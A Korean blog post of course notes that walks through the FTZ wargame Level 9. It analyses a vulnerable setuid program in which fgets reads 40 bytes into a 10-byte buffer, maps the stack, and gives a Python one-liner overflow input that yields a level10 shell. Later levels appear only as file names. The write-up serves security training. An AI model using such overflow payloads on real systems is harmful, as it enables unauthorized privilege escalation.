본문 바로가기
메가IT아카데미 국기과정/리눅스와 시스템보안

[3-11] FTZ 9~19

by 한님폐하 2022. 9. 12.

1. FTZ Level 9

1-1.  BoF 공격을 위한 소스 코드 내용 분석

  • buf, buf2 구조를 파악하여 BoF를 발생시켜서 buf2에 'go'라고하는 2개의 문자를 입력한다.
  • 그럼 level10 권한을 획득하여 '/bin/bash' 쉘이 실행되어 level10 계정의 패스워드를 확인할 수 있다.
  • BoF가 발생되는 원인은 buf는 10byte인데 fgets 함수로 40byte를 입력받기 때문이다.

 

1-2. '/usr/bin/bof' 파일은 gdb 디버깅 권한이 없기 때문에 hint에서 제공하는 소스 코드를 이용하여 프로그램을 제작한다.

vi bof.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
  char buf2[10];
  char buf[10];
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
} 
gcc -o bof bof.c
gdb -q bof

 

1-3. 스택 구조 파악

[낮은 주소]
──────── ebp-0x28(40)
buf[10]                                              a * 10
────────
dummy[6]                                         a * 6
──────── ebp-0x18(24)
buf2[10]                                            go
────────
dummy[14]
────────
ebp
────────
ret
────────
argc
────────
argv
────────
env
────────
[높은 주소]

 

1-4. 실제 프로그램에 BoF 공격 한다.

python -c 'print "a"*16+"go"'
/usr/bin/bof

 

2. FTZ Level 11

15_FTZ_Level11(strcpy&amp;인자값).txt
0.01MB

3. FTZ Level 12

16_FTZ_Level12(gets&amp;입력).txt
0.01MB

4. FTZ Level 13

17_FTZ_Level13(strcpy&amp;인자값).txt
0.01MB

5. FTZ Level 14

18_FTZ_Level14(fgets&amp;입력).txt
0.01MB

6. FTZ Level 15

19_FTZ_Level15(fgets&amp;입력).txt
0.01MB

7. FTZ Level 16

20_FTZ_Level16(fgets&amp;입력).txt
0.01MB

8. FTZ Level 17

21_FTZ_Level17(fgets&amp;입력)_선생님.txt
0.01MB

9. FTZ Level 18

22_FTZ_Level18(switch&amp;입력).txt
0.01MB

10. FTZ Level 19

23_FTZ_Level19(gets&amp;입력).txt
0.01MB

'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글

[3-12] FTZ FSB  (0) 2022.09.12
[3-10] 메모리 구조  (0) 2022.09.12
[3-9] 어셈블리어  (0) 2022.09.12
[3-8] 레지스터 구조  (0) 2022.09.12
[3-7] BeEF  (0) 2022.09.12